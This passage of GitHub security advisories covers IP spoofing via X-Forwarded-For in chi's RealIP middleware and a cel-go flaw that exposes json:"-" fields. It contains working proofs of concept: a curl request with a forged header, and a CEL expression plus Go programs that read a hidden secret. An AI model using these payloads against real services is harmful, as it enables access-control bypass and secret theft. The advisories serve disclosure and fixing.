**CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N** (6.9 Moderate)\n\n## Affected Versions\n- `github.com/go-chi/chi/v5` \u003c= `v5.2.1` (and all previous versions)\n\n## Recommendation\n1. **Stop using `middleware.RealIP`** if you cannot guarantee that the incoming request headers are from a trusted source and have been sanitized by a proxy.\n2. Implement a trust-based IP extraction mechanism that verifies the chain of proxies.\n3. Use the `X-Forwarded-For` header by traversing it from **right to left** and stopping at the first IP address that is not in your list of trusted proxies.\n\n## Suggested Fix\nA secure implementation of `RealIP` should allow developers to specify a list of trusted proxy IP ranges (CIDRs). Below is a conceptual example of how to fix this by traversing the `X-Forwarded-For` header from right to left:\n\n```go\nfunc GetClientIP(r *http.Request, trustedProxies []net.IPNet) string {\n xff := r.Header.Get(\"X-Forwarded-For\")\n if xff == \"\" {\n return r.RemoteAddr\n }\n\n ips := strings.Split(xff, \",\")\n // Traverse from right to left\n for i := len(ips) - 1; i \u003e= 0; i-- {\n ipStr := strings.TrimSpace(ips[i])\n ip := net.ParseIP(ipStr)\n if ip == nil {\n continue\n }\n\n if !isTrustedProxy(ip, trustedProxies) {\n return ipStr\n }\n }\n\n return r.RemoteAddr\n}\n\nfunc isTrustedProxy(ip net.IP, trustedProxies []net.IPNet) bool {\n for _, network := range trustedProxies {\n if network.Contains(ip) {\n return true\n }\n }\n return false\n}\n```\n\nBy providing a configuration like `middleware.RealIPWithConfig(Config{TrustedProxies: []string{\"10.0.0.0/8\"}})` , the middleware can safely identify the true client IP even in complex proxy environments.",
"id": "GHSA-3fxj-6jh8-hvhx",
"modified": "2026-06-25T18:21:38Z",
"published": "2026-06-25T18:21:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-chi/chi/security/advisories/GHSA-3fxj-6jh8-hvhx"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-chi/chi"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "chi Has an IP Spoofing Vulnerability in `middleware.RealIP`"
}
GHSA-9G5Q-2W5X-HMXF
Vulnerability from github – Published: 2026-06-25 18:18 – Updated: 2026-06-25 18:18Summary
The vulnerability allows the Request.RemoteAddr to be spoofed when determining the request source IP via the X-Forwarded-For header. This could result in misidentification of the request source and potentially compromise access control and logging integrity.
Details
Currently, the RealIP() implementation splits the X-Forwarded-For header by , and uses the first IP.
https://github.com/go-chi/chi/blob/v5.1.0/middleware/realip.go#L50-L54
However, relying on the first IP in the X-Forwarded-For header is insecure because it can be manipulated by attackers to falsify the source IP.
Malicious Case:
1. A malicious client sends a request with a forged IP in the X-Forwarded-For header: X-Forwarded-For: <forged-ip>
2. The proxy appends the actual client’s IP and forwards the request: X-Forwarded-For: <forged-ip>,<client-ip>
3. If the server always uses the first IP, it becomes vulnerable to IP spoofing.
Ideally, the implementation should verify IPs starting from the end of the X-Forwarded-For header value, skipping trusted IPs within the system, and using the first untrusted IP as the actual client IP.
For example, the labstack/echo web framework processes the X-Forwarded-For header by checking IPs from the end, skipping trusted IPs, and using the first untrusted IP as the client's ip.
https://github.com/labstack/echo/blob/v4.13.2/ip.go#L261-L273
PoC
1. Run the Go application with the following code:
package main
import (
"fmt"
"log"
"net/http"
"github.com/go-chi/chi/v5/middleware"
)
func main() {
// Set handler to print the remote address
handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintln(
w,
fmt.Sprintf("remote addr: %s (want 192.0.2.1)", r.RemoteAddr),
)
})
// Use RealIP middleware
log.Fatal(http.ListenAndServe(":8080", middleware.RealIP(handler)))
}
2. Send a request to the server using curl with a manipulated X-Forwarded-For header:
$ curl localhost:8080 -H 'X-Forwarded-For: 192.0.2.2, 192.0.2.1'
remote addr: 192.0.2.2 (want 192.0.2.1)
Impact
This vulnerability can lead to a request source IP spoofing issue, which may allow attackers to bypass access controls or falsify request logs. It primarily affects systems that rely on X-Forwarded-For to determine the actual client IP, particularly in scenarios where intermediary proxies or load balancers are involved.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.0"
},
{
"last_affected": "1.5.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v2/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v3/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.3.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v4/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "4.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v5/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-25T18:18:56Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nThe vulnerability allows the `Request.RemoteAddr` to be spoofed when determining the request source IP via the `X-Forwarded-For` header. This could result in misidentification of the request source and potentially compromise access control and logging integrity.\n\n### Details\nCurrently, the `RealIP()` implementation splits the `X-Forwarded-For` header by `,` and uses the first IP.\nhttps://github.com/go-chi/chi/blob/v5.1.0/middleware/realip.go#L50-L54\n\nHowever, relying on the first IP in the `X-Forwarded-For` header is insecure because it can be manipulated by attackers to falsify the source IP.\n\nMalicious Case:\n1. A malicious client sends a request with a forged IP in the X-Forwarded-For header: `X-Forwarded-For: \u003cforged-ip\u003e`\n2. The proxy appends the actual client\u2019s IP and forwards the request: `X-Forwarded-For: \u003cforged-ip\u003e,\u003cclient-ip\u003e`\n3. If the server always uses the first IP, it becomes vulnerable to IP spoofing.\n\nIdeally, the implementation should verify IPs starting from the end of the `X-Forwarded-For` header value, skipping trusted IPs within the system, and using the first untrusted IP as the actual client IP.\n\nFor example, the `labstack/echo` web framework processes the `X-Forwarded-For` header by checking IPs from the end, skipping trusted IPs, and using the first untrusted IP as the client\u0027s ip.\nhttps://github.com/labstack/echo/blob/v4.13.2/ip.go#L261-L273\n\n### PoC\n#### 1. Run the Go application with the following code:\n```go\npackage main\n\nimport (\n \"fmt\"\n \"log\"\n \"net/http\"\n\n \"github.com/go-chi/chi/v5/middleware\"\n)\n\nfunc main() {\n // Set handler to print the remote address\n handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n fmt.Fprintln(\n w,\n fmt.Sprintf(\"remote addr: %s (want 192.0.2.1)\", r.RemoteAddr),\n )\n })\n // Use RealIP middleware\n log.Fatal(http.ListenAndServe(\":8080\", middleware.RealIP(handler)))\n}\n```\n#### 2. Send a request to the server using curl with a manipulated X-Forwarded-For header:\n```\n$ curl localhost:8080 -H \u0027X-Forwarded-For: 192.0.2.2, 192.0.2.1\u0027\nremote addr: 192.0.2.2 (want 192.0.2.1)\n```\n\n### Impact\nThis vulnerability can lead to a request source IP spoofing issue, which may allow attackers to bypass access controls or falsify request logs. It primarily affects systems that rely on X-Forwarded-For to determine the actual client IP, particularly in scenarios where intermediary proxies or load balancers are involved.",
"id": "GHSA-9g5q-2w5x-hmxf",
"modified": "2026-06-25T18:18:56Z",
"published": "2026-06-25T18:18:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-chi/chi/security/advisories/GHSA-9g5q-2w5x-hmxf"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-chi/chi"
},
{
"type": "WEB",
"url": "https://github.com/go-chi/chi/releases/tag/v5.3.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "chi Middleware Vulnerable to Potential IP Spoofing via `X-Forwarded-For` Header in `Request.RemoteAddr` Resolution"
}
GHSA-GCJH-H69Q-9W9G
Vulnerability from github – Published: 2026-07-24 16:48 – Updated: 2026-07-24 16:48The function ext.NativeTypes(ParseStructTag("json")) does not honour the encoding/json skip directive json:"-". Fields tagged json:"-" are registered in the CEL type system under the literal name "-" and are readable from any user-submitted CEL expression via dyn(obj)["-"].
Additionally, newNativeTypes silently registers every nested struct reachable from the type passed to NativeTypes, including types from third-party dependencies the developer never examined.
Root cause
In fieldNameByTag, the helper used by ParseStructTag("json") to translate Go struct tags into CEL field names.
See at ext/native.go:146:
func fieldNameByTag(structTagToParse string) func(field reflect.StructField) string {
return func(field reflect.StructField) string {
tag, found := field.Tag.Lookup(structTagToParse)
if found {
splits := strings.Split(tag, ",")
if len(splits) > 0 {
// We make the assumption that the leftmost entry in the tag is the name.
// This seems to be true for most tags that have the concept of a name/key, such as:
// https://pkg.go.dev/encoding/xml#Marshal
// https://pkg.go.dev/encoding/json#Marshal
// https://pkg.go.dev/go.mongodb.org/mongo-driver/bson#hdr-Structs
// https://pkg.go.dev/go.yaml.in/yaml/v3#Marshal
name := splits[0]
return name
}
}
return field.Name
}
}
For a field tagged json:"-", this code splits the tag into []string{"-"} and returns "-" as the CEL field name. It never checks whether "-" is the JSON skip sentinel.
This contradicts the encoding/json rule that the source comment explicitly points readers to:
As a special case, if the field tag is "-", the field is always omitted. Note
that a field with name "-" can still be generated using the tag "-,".
The public option also documents JSON-style parsing as the intended behavior.
See at ext/native.go:190:
// ParseStructTag configures the struct tag to parse. The 0th item in the tag is used as the name of the CEL field.
// For example:
// If the tag to parse is "cel" and the struct field has tag cel:"foo", the CEL struct field will be "foo".
// If the tag to parse is "json" and the struct field has tag json:"foo,omitempty", the CEL struct field will be "foo".
func ParseStructTag(tag string) NativeTypesOption {
return func(ntp *nativeTypeOptions) error {
ntp.fieldNameHandler = fieldNameByTag(tag)
return nil
}
}
A developer using ParseStructTag("json") is therefore led to expect encoding/json field-name semantics. Instead, json:"-" is treated as a real field name.
The bad name is accepted during native type construction. newNativeType checks for duplicate field names, but it does not reject or skip empty names or skip sentinels.
See at ext/native.go:663:
if fieldNameHandler != nil {
fieldNames := make(map[string]struct{})
for idx := 0; idx < refType.NumField(); idx++ {
field := refType.Field(idx)
fieldName := toFieldName(fieldNameHandler, field)
if _, found := fieldNames[fieldName]; found {
return nil, fmt.Errorf("invalid field name `%s` in struct `%s`: %w", fieldName, refType.Name(), errDuplicatedFieldName)
} else {
fieldNames[fieldName] = struct{}{}
}
}
}
Once accepted, the field becomes part of CEL's view of the type. Field enumeration reports it as a normal field name.
See at ext/native.go:286:
func (tp *nativeTypeProvider) FindStructFieldNames(typeName string) ([]string, bool) {
if t, found := tp.nativeTypes[typeName]; found {
fieldCount := t.refType.NumField()
fields := make([]string, fieldCount)
for i := 0; i < fieldCount; i++ {
fields[i] = toFieldName(tp.options.fieldNameHandler, t.refType.Field(i))
}
return fields, true
}
if celTypeFields, found := tp.baseProvider.FindStructFieldNames(typeName); found {
return celTypeFields, true
}
return tp.baseProvider.FindStructFieldNames(typeName)
}
Field lookup also treats the name as valid and returns the underlying Go field value.
See at ext/native.go:303:
func (tp *nativeTypeProvider) FindStructFieldType(typeName, fieldName string) (*types.FieldType, bool) {
t, found := tp.nativeTypes[typeName]
if !found {
return tp.baseProvider.FindStructFieldType(typeName, fieldName)
}
refField, isDefined := t.hasField(fieldName)
if !found || !isDefined {
return nil, false
}
return &types.FieldType{
IsSet: func(obj any) bool {
refVal := reflect.Indirect(reflect.ValueOf(obj))
refField := refVal.FieldByName(refField.Name)
return !refField.IsZero()
},
GetFrom: func(obj any) (any, error) {
refVal := reflect.Indirect(reflect.ValueOf(obj))
refField := refVal.FieldByName(refField.Name)
return getFieldValue(refField), nil
},
}, true
}
At runtime, native objects advertise index access.
See at ext/native.go:37:
var (
nativeObjTraitMask = traits.FieldTesterType | traits.IndexerType
)
Because traits.IndexerType is present, a user expression can bypass ordinary field syntax and read the registered "-" field with bracket access:
dyn(req.auth)["-"]
The same mistaken name is also used when converting native objects to JSON-like CEL values. ConvertToNative(jsonStructType) iterates all Go struct fields, computes the CEL field name, and inserts it into the output map without applying the JSON skip rule.
See at ext/native.go:501:
case jsonStructType:
refVal := reflect.Indirect(o.refValue)
refType := refVal.Type()
fields := make(map[string]*structpb.Value, refVal.NumField())
for i := 0; i < refVal.NumField(); i++ {
fieldType := refType.Field(i)
fieldValue := refVal.Field(i)
if !fieldValue.IsValid() || fieldValue.IsZero() {
continue
}
fieldName := toFieldName(o.valType.fieldNameHandler, fieldType)
fieldCELVal := o.NativeToValue(fieldValue.Interface())
fieldJSONVal, err := fieldCELVal.ConvertToNative(jsonValueType)
if err != nil {
return nil, err
}
fields[fieldName] = fieldJSONVal.(*structpb.Value)
}
return &structpb.Struct{Fields: fields}, nil
This means a json:"-" secret is exposed in two ways: it can be read directly through CEL indexing as dyn(obj)["-"], and it can appear under the key "-" in JSON struct conversion output.
The blast radius is widened by newNativeTypes, which registers not only the type explicitly passed to NativeTypes, but also every nested struct reachable from its fields.
See at ext/native.go:609:
func newNativeTypes(fieldNameHandler NativeTypesFieldNameHandler, rawType reflect.Type) ([]*nativeType, error) {
nt, err := newNativeType(fieldNameHandler, rawType)
if err != nil {
return nil, err
}
result := []*nativeType{nt}
var iterateStructMembers func(reflect.Type)
iterateStructMembers = func(t reflect.Type) {
if k := t.Kind(); k == reflect.Pointer || k == reflect.Slice || k == reflect.Array || k == reflect.Map {
iterateStructMembers(t.Elem())
return
}
if t.Kind() != reflect.Struct {
return
}
nt, ntErr := newNativeType(fieldNameHandler, t)
if ntErr != nil {
err = ntErr
return
}
result = append(result, nt)
for idx := 0; idx < t.NumField(); idx++ {
iterateStructMembers(t.Field(idx).Type)
}
}
iterateStructMembers(rawType)
return result, err
}
As a result, a developer can register one apparently safe request type while a nested dependency type is silently registered too. If that nested type contains a json:"-" secret, CEL still receives a readable field named "-" even though the developer never registered or audited that nested type directly.
Reproduction
package main
import (
"fmt"
"reflect"
"github.com/google/cel-go/cel"
"github.com/google/cel-go/ext"
)
// Simulates a library type; developer never registers this directly.
type AuthCtx struct {
UserID string `json:"userId"`
Secret string `json:"-"` // server-internal; never appears in JSON output
}
// Developer registers only this type.
type Req struct{ Auth AuthCtx `json:"auth"` }
func main() {
env, _ := cel.NewEnv(
// Only Req is passed; AuthCtx is registered silently by newNativeTypes.
ext.NativeTypes(reflect.TypeOf(Req{}), ext.ParseStructTag("json")),
cel.Variable("req", cel.ObjectType("main.Req")),
)
ast, _ := env.Compile(`dyn(req.auth)["-"]`)
prg, _ := env.Program(ast)
out, _, _ := prg.Eval(map[string]any{
"req": Req{Auth: AuthCtx{UserID: "alice", Secret: "sk-live-s3cr3t"}},
})
fmt.Println(out) // sk-live-s3cr3t
}
Expected: expression compile error or empty result; json:"-" field should not be
accessible.
Actual: sk-live-s3cr3t; the server-injected secret is returned verbatim.
The same field is also included under key "-" in ConvertToNative(jsonStructType)
output, and appears in FindStructFieldNames enumeration.
path 1. CEL indexing
Tested against the released module github.com/google/cel-go v0.28.1
(latest stable release as of 2026-05-12), using the go.mod entry:
require github.com/google/cel-go v0.28.1
Running the PoC above (go run main.go) produces:
sk-live-s3cr3t
The secret value is returned verbatim, with no error at compile time or at runtime.
Path 2. ConvertToNative(jsonStructType)
When the nativeObj for the AuthCtx value is converted to a Protobuf Struct
(the representation used whenever CEL output is serialised to JSON), the
json:"-" field appears in the output map under the key "-".
package main
import (
"encoding/json"
"fmt"
"reflect"
"github.com/google/cel-go/cel"
"github.com/google/cel-go/ext"
structpb "google.golang.org/protobuf/types/known/structpb"
)
type AuthCtxConv struct {
UserID string `json:"userId"`
Secret string `json:"-"` // should never appear in JSON output
}
type ReqConv struct{ Auth AuthCtxConv `json:"auth"` }
func main() {
env, _ := cel.NewEnv(
ext.NativeTypes(reflect.TypeOf(ReqConv{}), ext.ParseStructTag("json")),
cel.Variable("req", cel.ObjectType("main.ReqConv")),
)
ast, _ := env.Compile(`req.auth`)
prg, _ := env.Program(ast)
out, _, _ := prg.Eval(map[string]any{
"req": ReqConv{Auth: AuthCtxConv{UserID: "alice", Secret: "sk-live-s3cr3t"}},
})
jsonStructType := reflect.TypeOf(&structpb.Struct{})
raw, _ := out.ConvertToNative(jsonStructType)
st := raw.(*structpb.Struct)
b, _ := json.MarshalIndent(st.AsMap(), "", " ")
fmt.Printf("ConvertToNative(jsonStructType) output:\n%s\n", b)
fmt.Printf("\nDirect field access via \"-\" key present: %v\n", st.Fields["-"] != nil)
if v, ok := st.Fields["-"]; ok {
fmt.Printf("Value: %s\n", v.GetStringValue())
}
}
Running the PoC above produces:
ConvertToNative(jsonStructType) output:
{
"-": "sk-live-s3cr3t",
"userId": "alice"
}
Direct field access via "-" key present: true
Value: sk-live-s3cr3t
The "-" key is present in the serialised Protobuf struct alongside userId.
Any system that converts a CEL evaluation result to JSON (e.g. via structpb.Struct) will include the secret in the output, regardless of whether the dyn()["-"] indexing path is used.
Impact
Any user who can submit CEL expressions to an application that uses ext.NativeTypes(ParseStructTag("json")) can read struct fields that the developer explicitly marked json:"-" to keep out of serialised output. By writing dyn(obj)["-"], the attacker retrieves the raw Go field value, typically a secret, internal token, or private identifier, with no compile-time or runtime error. Because newNativeTypes silently registers every nested struct reachable from the root type, the attacker may also reach secrets in dependency types the developer never intended to expose to CEL.
Remediation
Do not treat json:"-" as a CEL field named "-". Model it as an explicit skipped field, not as an empty string field name.
Update the struct-tag parsing path so exact json:"-" returns “skip this field”, while json:"-," continues to mean the literal field name "-", matching encoding/json semantics.
Apply that skip decision consistently anywhere native fields are exposed or resolved:
- duplicate-name validation in
newNativeType - field enumeration in
FindStructFieldNames - field type lookup in
FindStructFieldType - runtime lookup in
fieldByName/hasField - object construction in
NewValue - JSON conversion in
ConvertToNative(jsonStructType)
Apply the same omit handling for xml:"-", yaml:"-", and bson:"-" where ParseStructTag is used.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.28.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/google/cel-go"
},
"ranges": [
{
"events": [
{
"introduced": "0.22.0"
},
{
"fixed": "0.29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-495"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T16:48:56Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "The function `ext.NativeTypes(ParseStructTag(\"json\"))` does not honour the `encoding/json` skip directive `json:\"-\"`. Fields tagged `json:\"-\"` are registered in the CEL type system under the literal name `\"-\"` and are readable from any user-submitted CEL expression via `dyn(obj)[\"-\"]`. \n\nAdditionally, `newNativeTypes` silently registers every nested struct reachable from the type passed to `NativeTypes`, including types from third-party dependencies the developer never examined.\n\n## Root cause\n\nIn `fieldNameByTag`, the helper used by `ParseStructTag(\"json\")` to translate Go struct tags into CEL field names.\n\nSee at `ext/native.go:146`:\n\n```go\nfunc fieldNameByTag(structTagToParse string) func(field reflect.StructField) string {\n return func(field reflect.StructField) string {\n tag, found := field.Tag.Lookup(structTagToParse)\n if found {\n splits := strings.Split(tag, \",\")\n if len(splits) \u003e 0 {\n // We make the assumption that the leftmost entry in the tag is the name.\n // This seems to be true for most tags that have the concept of a name/key, such as:\n // https://pkg.go.dev/encoding/xml#Marshal\n // https://pkg.go.dev/encoding/json#Marshal\n // https://pkg.go.dev/go.mongodb.org/mongo-driver/bson#hdr-Structs\n // https://pkg.go.dev/go.yaml.in/yaml/v3#Marshal\n name := splits[0]\n return name\n }\n }\n\n return field.Name\n }\n}\n```\n\nFor a field tagged `json:\"-\"`, this code splits the tag into `[]string{\"-\"}` and returns `\"-\"` as the CEL field name. It never checks whether `\"-\"` is the JSON skip sentinel.\n\nThis contradicts the `encoding/json` rule that the source comment explicitly points readers to:\n\n```text\nAs a special case, if the field tag is \"-\", the field is always omitted. Note\nthat a field with name \"-\" can still be generated using the tag \"-,\".\n```\n\nThe public option also documents JSON-style parsing as the intended behavior.\nSee at `ext/native.go:190`:\n\n```go\n// ParseStructTag configures the struct tag to parse. The 0th item in the tag is used as the name of the CEL field.\n// For example:\n// If the tag to parse is \"cel\" and the struct field has tag cel:\"foo\", the CEL struct field will be \"foo\".\n// If the tag to parse is \"json\" and the struct field has tag json:\"foo,omitempty\", the CEL struct field will be \"foo\".\nfunc ParseStructTag(tag string) NativeTypesOption {\n return func(ntp *nativeTypeOptions) error {\n ntp.fieldNameHandler = fieldNameByTag(tag)\n return nil\n }\n}\n```\n\nA developer using `ParseStructTag(\"json\")` is therefore led to expect `encoding/json` field-name semantics. Instead, `json:\"-\"` is treated as a real field name.\n\nThe bad name is accepted during native type construction. `newNativeType` checks for duplicate field names, but it does not reject or skip empty names or skip sentinels.\n\nSee at `ext/native.go:663`:\n\n```go\nif fieldNameHandler != nil {\n fieldNames := make(map[string]struct{})\n\n for idx := 0; idx \u003c refType.NumField(); idx++ {\n field := refType.Field(idx)\n fieldName := toFieldName(fieldNameHandler, field)\n\n if _, found := fieldNames[fieldName]; found {\n return nil, fmt.Errorf(\"invalid field name `%s` in struct `%s`: %w\", fieldName, refType.Name(), errDuplicatedFieldName)\n } else {\n fieldNames[fieldName] = struct{}{}\n }\n }\n}\n```\n\nOnce accepted, the field becomes part of CEL\u0027s view of the type. Field enumeration reports it as a normal field name.\n\nSee at `ext/native.go:286`:\n\n```go\nfunc (tp *nativeTypeProvider) FindStructFieldNames(typeName string) ([]string, bool) {\n if t, found := tp.nativeTypes[typeName]; found {\n fieldCount := t.refType.NumField()\n fields := make([]string, fieldCount)\n for i := 0; i \u003c fieldCount; i++ {\n fields[i] = toFieldName(tp.options.fieldNameHandler, t.refType.Field(i))\n }\n return fields, true\n }\n if celTypeFields, found := tp.baseProvider.FindStructFieldNames(typeName); found {\n return celTypeFields, true\n }\n return tp.baseProvider.FindStructFieldNames(typeName)\n}\n```\n\nField lookup also treats the name as valid and returns the underlying Go field value.\n\nSee at `ext/native.go:303`:\n\n```go\nfunc (tp *nativeTypeProvider) FindStructFieldType(typeName, fieldName string) (*types.FieldType, bool) {\n t, found := tp.nativeTypes[typeName]\n if !found {\n return tp.baseProvider.FindStructFieldType(typeName, fieldName)\n }\n refField, isDefined := t.hasField(fieldName)\n if !found || !isDefined {\n return nil, false\n }\n\n return \u0026types.FieldType{\n IsSet: func(obj any) bool {\n refVal := reflect.Indirect(reflect.ValueOf(obj))\n refField := refVal.FieldByName(refField.Name)\n return !refField.IsZero()\n },\n GetFrom: func(obj any) (any, error) {\n refVal := reflect.Indirect(reflect.ValueOf(obj))\n refField := refVal.FieldByName(refField.Name)\n return getFieldValue(refField), nil\n },\n }, true\n}\n```\n\nAt runtime, native objects advertise index access.\nSee at `ext/native.go:37`:\n\n```go\nvar (\n nativeObjTraitMask = traits.FieldTesterType | traits.IndexerType\n)\n```\n\nBecause `traits.IndexerType` is present, a user expression can bypass ordinary field syntax and read the registered `\"-\"` field with bracket access:\n\n```cel\ndyn(req.auth)[\"-\"]\n```\n\nThe same mistaken name is also used when converting native objects to JSON-like CEL values. `ConvertToNative(jsonStructType)` iterates all Go struct fields, computes the CEL field name, and inserts it into the output map without applying the JSON skip rule.\n\nSee at `ext/native.go:501`:\n\n```go\ncase jsonStructType:\n refVal := reflect.Indirect(o.refValue)\n refType := refVal.Type()\n fields := make(map[string]*structpb.Value, refVal.NumField())\n for i := 0; i \u003c refVal.NumField(); i++ {\n fieldType := refType.Field(i)\n fieldValue := refVal.Field(i)\n if !fieldValue.IsValid() || fieldValue.IsZero() {\n continue\n }\n fieldName := toFieldName(o.valType.fieldNameHandler, fieldType)\n fieldCELVal := o.NativeToValue(fieldValue.Interface())\n fieldJSONVal, err := fieldCELVal.ConvertToNative(jsonValueType)\n if err != nil {\n return nil, err\n }\n fields[fieldName] = fieldJSONVal.(*structpb.Value)\n }\n return \u0026structpb.Struct{Fields: fields}, nil\n```\n\nThis means a `json:\"-\"` secret is exposed in two ways: it can be read directly through CEL indexing as `dyn(obj)[\"-\"]`, and it can appear under the key `\"-\"` in JSON struct conversion output.\n\nThe blast radius is widened by `newNativeTypes`, which registers not only the type explicitly passed to `NativeTypes`, but also every nested struct reachable from its fields.\n\nSee at `ext/native.go:609`:\n\n```go\nfunc newNativeTypes(fieldNameHandler NativeTypesFieldNameHandler, rawType reflect.Type) ([]*nativeType, error) {\n nt, err := newNativeType(fieldNameHandler, rawType)\n if err != nil {\n return nil, err\n }\n result := []*nativeType{nt}\n\n var iterateStructMembers func(reflect.Type)\n iterateStructMembers = func(t reflect.Type) {\n if k := t.Kind(); k == reflect.Pointer || k == reflect.Slice || k == reflect.Array || k == reflect.Map {\n iterateStructMembers(t.Elem())\n return\n }\n if t.Kind() != reflect.Struct {\n return\n }\n\n nt, ntErr := newNativeType(fieldNameHandler, t)\n if ntErr != nil {\n err = ntErr\n return\n }\n result = append(result, nt)\n\n for idx := 0; idx \u003c t.NumField(); idx++ {\n iterateStructMembers(t.Field(idx).Type)\n }\n }\n iterateStructMembers(rawType)\n\n return result, err\n}\n```\n\nAs a result, a developer can register one apparently safe request type while a nested dependency type is silently registered too. If that nested type contains a `json:\"-\"` secret, CEL still receives a readable field named `\"-\"` even though the developer never registered or audited that nested type directly.\n\n## Reproduction\n\n```go\npackage main\n\nimport (\n \"fmt\"\n \"reflect\"\n\n \"github.com/google/cel-go/cel\"\n \"github.com/google/cel-go/ext\"\n)\n\n// Simulates a library type; developer never registers this directly.\ntype AuthCtx struct {\n UserID string `json:\"userId\"`\n Secret string `json:\"-\"` // server-internal; never appears in JSON output\n}\n\n// Developer registers only this type.\ntype Req struct{ Auth AuthCtx `json:\"auth\"` }\n\nfunc main() {\n env, _ := cel.NewEnv(\n // Only Req is passed; AuthCtx is registered silently by newNativeTypes.\n ext.NativeTypes(reflect.TypeOf(Req{}), ext.ParseStructTag(\"json\")),\n cel.Variable(\"req\", cel.ObjectType(\"main.Req\")),\n )\n ast, _ := env.Compile(`dyn(req.auth)[\"-\"]`)\n prg, _ := env.Program(ast)\n out, _, _ := prg.Eval(map[string]any{\n \"req\": Req{Auth: AuthCtx{UserID: \"alice\", Secret: \"sk-live-s3cr3t\"}},\n })\n fmt.Println(out) // sk-live-s3cr3t\n}\n```\n\n**Expected:** expression compile error or empty result; `json:\"-\"` field should not be\naccessible. \n**Actual:** `sk-live-s3cr3t`; the server-injected secret is returned verbatim.\n\nThe same field is also included under key `\"-\"` in `ConvertToNative(jsonStructType)`\noutput, and appears in `FindStructFieldNames` enumeration.\n\n### path 1. CEL indexing\n\nTested against the released module `github.com/google/cel-go v0.28.1`\n(latest stable release as of 2026-05-12), using the `go.mod` entry:\n\n```\nrequire github.com/google/cel-go v0.28.1\n```\n\nRunning the PoC above (`go run main.go`) produces:\n\n```\nsk-live-s3cr3t\n```\n\nThe secret value is returned verbatim, with no error at compile time or at runtime.\n\n### Path 2. `ConvertToNative(jsonStructType)`\n\nWhen the `nativeObj` for the `AuthCtx` value is converted to a Protobuf `Struct`\n(the representation used whenever CEL output is serialised to JSON), the\n`json:\"-\"` field appears in the output map under the key `\"-\"`.\n\n```go\npackage main\n\nimport (\n \"encoding/json\"\n \"fmt\"\n \"reflect\"\n\n \"github.com/google/cel-go/cel\"\n \"github.com/google/cel-go/ext\"\n\n structpb \"google.golang.org/protobuf/types/known/structpb\"\n)\n\ntype AuthCtxConv struct {\n UserID string `json:\"userId\"`\n Secret string `json:\"-\"` // should never appear in JSON output\n}\n\ntype ReqConv struct{ Auth AuthCtxConv `json:\"auth\"` }\n\nfunc main() {\n env, _ := cel.NewEnv(\n ext.NativeTypes(reflect.TypeOf(ReqConv{}), ext.ParseStructTag(\"json\")),\n cel.Variable(\"req\", cel.ObjectType(\"main.ReqConv\")),\n )\n\n ast, _ := env.Compile(`req.auth`)\n prg, _ := env.Program(ast)\n out, _, _ := prg.Eval(map[string]any{\n \"req\": ReqConv{Auth: AuthCtxConv{UserID: \"alice\", Secret: \"sk-live-s3cr3t\"}},\n })\n\n jsonStructType := reflect.TypeOf(\u0026structpb.Struct{})\n raw, _ := out.ConvertToNative(jsonStructType)\n\n st := raw.(*structpb.Struct)\n b, _ := json.MarshalIndent(st.AsMap(), \"\", \" \")\n fmt.Printf(\"ConvertToNative(jsonStructType) output:\\n%s\\n\", b)\n fmt.Printf(\"\\nDirect field access via \\\"-\\\" key present: %v\\n\", st.Fields[\"-\"] != nil)\n if v, ok := st.Fields[\"-\"]; ok {\n fmt.Printf(\"Value: %s\\n\", v.GetStringValue())\n }\n}\n```\n\nRunning the PoC above produces:\n\n```\nConvertToNative(jsonStructType) output:\n{\n \"-\": \"sk-live-s3cr3t\",\n \"userId\": \"alice\"\n}\n\nDirect field access via \"-\" key present: true\nValue: sk-live-s3cr3t\n```\n\nThe `\"-\"` key is present in the serialised Protobuf struct alongside `userId`.\nAny system that converts a CEL evaluation result to JSON (e.g. via `structpb.Struct`) will include the secret in the output, regardless of whether the `dyn()[\"-\"]` indexing path is used.\n\n## Impact\n\nAny user who can submit CEL expressions to an application that uses `ext.NativeTypes(ParseStructTag(\"json\"))` can read struct fields that the developer explicitly marked `json:\"-\"` to keep out of serialised output. By writing `dyn(obj)[\"-\"]`, the 